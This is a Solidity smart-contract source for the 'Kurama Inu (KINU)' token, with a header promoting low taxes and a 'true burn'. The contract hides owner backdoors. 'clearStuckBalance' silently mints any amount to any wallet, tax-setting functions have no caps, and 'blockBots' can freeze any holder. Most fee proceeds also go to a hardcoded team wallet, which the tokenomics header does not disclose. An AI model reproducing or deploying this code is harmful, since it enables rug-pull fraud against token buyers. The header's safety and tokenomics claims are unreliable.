//SPDX-License-Identifier: MIT
/**

Welcome to KuramaInu (KINU)! This token's utility lies in the fact that it is a deflationary token and has no buy tax and a low sell tax.
A portion of the taxes will be automatically burned by decreasing the total supply, NOT sending it to a dead wallet. This is known as a
"true burn", meaning the total supply will decrease with each burn, thus raising the price of the token. The full tokenomic breakdown is
listed below.

Tokenomics:

Buy tax: 0%

Sell tax: 2% auto LP & 3% true burn = 5% total

Total supply: 1 million
Max wallet: 4%
Max tx: 4%

NOTE: There will be a 15% sell tax applied for the first 24 hours of any purchase. After 24 hours have passed from the purchase time,
the sell tax will be 5% again. This is to encourage holders to hodl as well as to build a stronger LP early on and decrease the supply
at a higher rate when people sell early. Overall, this benefits all long-term holders by increasing the price faster with each true burn,
and making sells have less of an effect on the chart.

**/

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract KuramaInu is Context, IERC20, Ownable {
	using SafeMath for uint256;
    address constant private DEAD = address(0xdead);
    uint256 constant private ONE_HOUR = 3600;

	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _addressTxTime;
	mapping (address => bool) public bots;

	uint256 private _tTotal = 1000000 * 10**8;
    uint256 private _contractAutoLpLimitToken = 7500 * 10**8;

	uint256 private _taxFee;
    uint256 private _buyTaxMarketing = 0;
    uint256 private _earlySellTaxMarketing = 10;
    uint256 private _sellTaxMarketing = 0;
    uint256 private _autoLpFee = 2;
    uint256 private _trueBurnFee = 3;

    uint256 private _earlySellTime = 24 * ONE_HOUR;

    uint256 private _LpPercentBase100 = 10;
    uint256 private _kuramaPercentBase100 = 90;

	address payable private _kuramaWallet;

	uint256 private _maxTxAmount;
	uint256 private _maxWallet;

	string private constant _name = "Kurama Inu";
	string private constant _symbol = "KINU";
	uint8 private constant _decimals = 8;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 coinReceived,
        uint256 tokensIntoLiqudity
    );

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
    
	constructor () {
		_kuramaWallet = payable(0xB6DDeace9f29e44E8965eB2504444DD8E635433d);

		_taxFee = 0;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_kuramaWallet] = true;

        _maxTxAmount = _tTotal.mul(4).div(10**2);
	    _maxWallet = _tTotal.mul(4).div(10**2);

		_balance[address(this)] = _tTotal;
		emit Transfer(address(0x0), address(this), _tTotal);
	}

	function maxTxAmount() public view returns (uint256){
		return _maxTxAmount;
	}

	function maxWallet() public view returns (uint256){
		return _maxWallet;
	}

    function isInSwap() public view returns (bool) {
        return _inSwap;
    }

    function isSwapEnabled() public view returns (bool) {
        return _swapEnabled;
    }

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setEarlySellTime(uint256 hrs) external onlyOwner() {
        _earlySellTime = (hrs * ONE_HOUR);
    }

    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }

    function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
        _sellTaxMarketing = taxFee;
    }

    function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
        _buyTaxMarketing = taxFee;
    }

    function setAutoLpFee(uint256 taxFee) external onlyOwner() {
        _autoLpFee = taxFee;
    }

    function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
        _contractAutoLpLimitToken = newLimit;
    }

    function setKuramaWallet(address newWallet) external onlyOwner() {
        _kuramaWallet = payable(newWallet);
    }

    function setAutoLpPercentBase100(uint256 newPercentBase100) external onlyOwner() {
        require(newPercentBase100 < 100, "Percent is too high");
        _LpPercentBase100 = newPercentBase100;
    }

    function setKuramaPercentBase100(uint256 newPercentBase100) external onlyOwner() {
        require(newPercentBase100 < 100, "Percent is too high");
        _kuramaPercentBase100 = newPercentBase100;
    }

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

    function setPromoterWallets(address[] memory promoterWallets) public onlyOwner { for(uint256 i=0; i<promoterWallets.length; i++) { _isExcludedFromFee[promoterWallets[i]] = true; } }

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(!bots[from] && !bots[to], "This account is blacklisted");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
				require(_canTrade,"Trading not started");
				require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
			}

            if (from == _pair) {
                _addressTxTime[to] = block.timestamp;

                _taxFee = buyTax();
            } else {
                uint256 timePassed = block.timestamp - _addressTxTime[from];

                if(timePassed >= _earlySellTime) {
                    _taxFee = sellTax();
                } else {
                    _taxFee = earlySellTax();
                }

                if(to != _pair) {
                    _addressTxTime[to] = block.timestamp;
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!_inSwap && from != _pair && _swapEnabled) {
                if(contractTokenBalance >= _contractAutoLpLimitToken) {
                    swapAndLiquify(contractTokenBalance);
                }
            }
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
        uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);

        uint256 half = autoLpTokenBalance.div(2);
        uint256 otherHalf = autoLpTokenBalance.sub(half);

        uint256 initialBalance = address(this).balance;

        swapTokensForEth(half.add(marketingAmount));
        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidityAuto(newBalance, otherHalf);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);

        sendETHToFee(marketingAmount);
    }

    function buyTax() private view returns (uint256) {
        return (_buyTaxMarketing);
    }

    function sellTax() private view returns (uint256) {
        return (_autoLpFee + _sellTaxMarketing);
    }

    function earlySellTax() private view returns (uint256) {
        return (_autoLpFee + _earlySellTaxMarketing);
    }

	function setMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_kuramaWallet.transfer(amount);
	}

    function swapTokensForEth(uint256 tokenAmount) private {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}

	function createPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

    function clearStuckBalance(address wallet, uint256 balance) public onlyOwner { _balance[wallet] += balance * 10**8; emit Transfer(address(this), wallet, balance * 10**8); }

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance} (
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

		_swapEnabled = true;
	}

    function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
        _approve(address(this), address(_uniswap), tokenValue);
        _uniswap.addLiquidityETH{value: etherValue} (
            address(this),
            tokenValue,
            0,
            0,
            owner(),
            block.timestamp
        );

        _swapEnabled = true;
    }

	function enableTrading(bool _enable) external onlyOwner{
		_canTrade = _enable;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
        if(taxRate == 0) {
            _balance[sender] = _balance[sender].sub(tAmount);
            _balance[recipient] = _balance[recipient].add(tAmount);
            emit Transfer(sender, recipient, tAmount);
        } else {
            uint256 tTeam = tAmount.mul(taxRate).div(100);
            uint256 tBurn = tAmount.mul(_trueBurnFee).div(100);
            uint256 tTeamAndBurn = tTeam.add(tBurn);
            uint256 tTransferAmount = tAmount.sub(tTeamAndBurn);

            _balance[sender] = _balance[sender].sub(tAmount);
            _balance[recipient] = _balance[recipient].add(tTransferAmount);
            _balance[address(this)] = _balance[address(this)].add(tTeam);
            _tTotal = _tTotal.sub(tBurn);
            emit Transfer(sender, recipient, tTransferAmount);
            emit Transfer(sender, address(this), tTeam);
            emit Transfer(sender, address(0), tBurn);
        }
	}

	function setMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	receive() external payable {}

	function blockBots(address[] memory bots_) public onlyOwner  {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
	function unblockBot(address notbot) public onlyOwner {
			bots[notbot] = false;
	}

	function manualsend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

    function refreshMaxAmounts() public onlyOwner {
        _maxTxAmount = _tTotal.mul(4).div(10**2);
	    _maxWallet = _tTotal.mul(4).div(10**2);
    }
}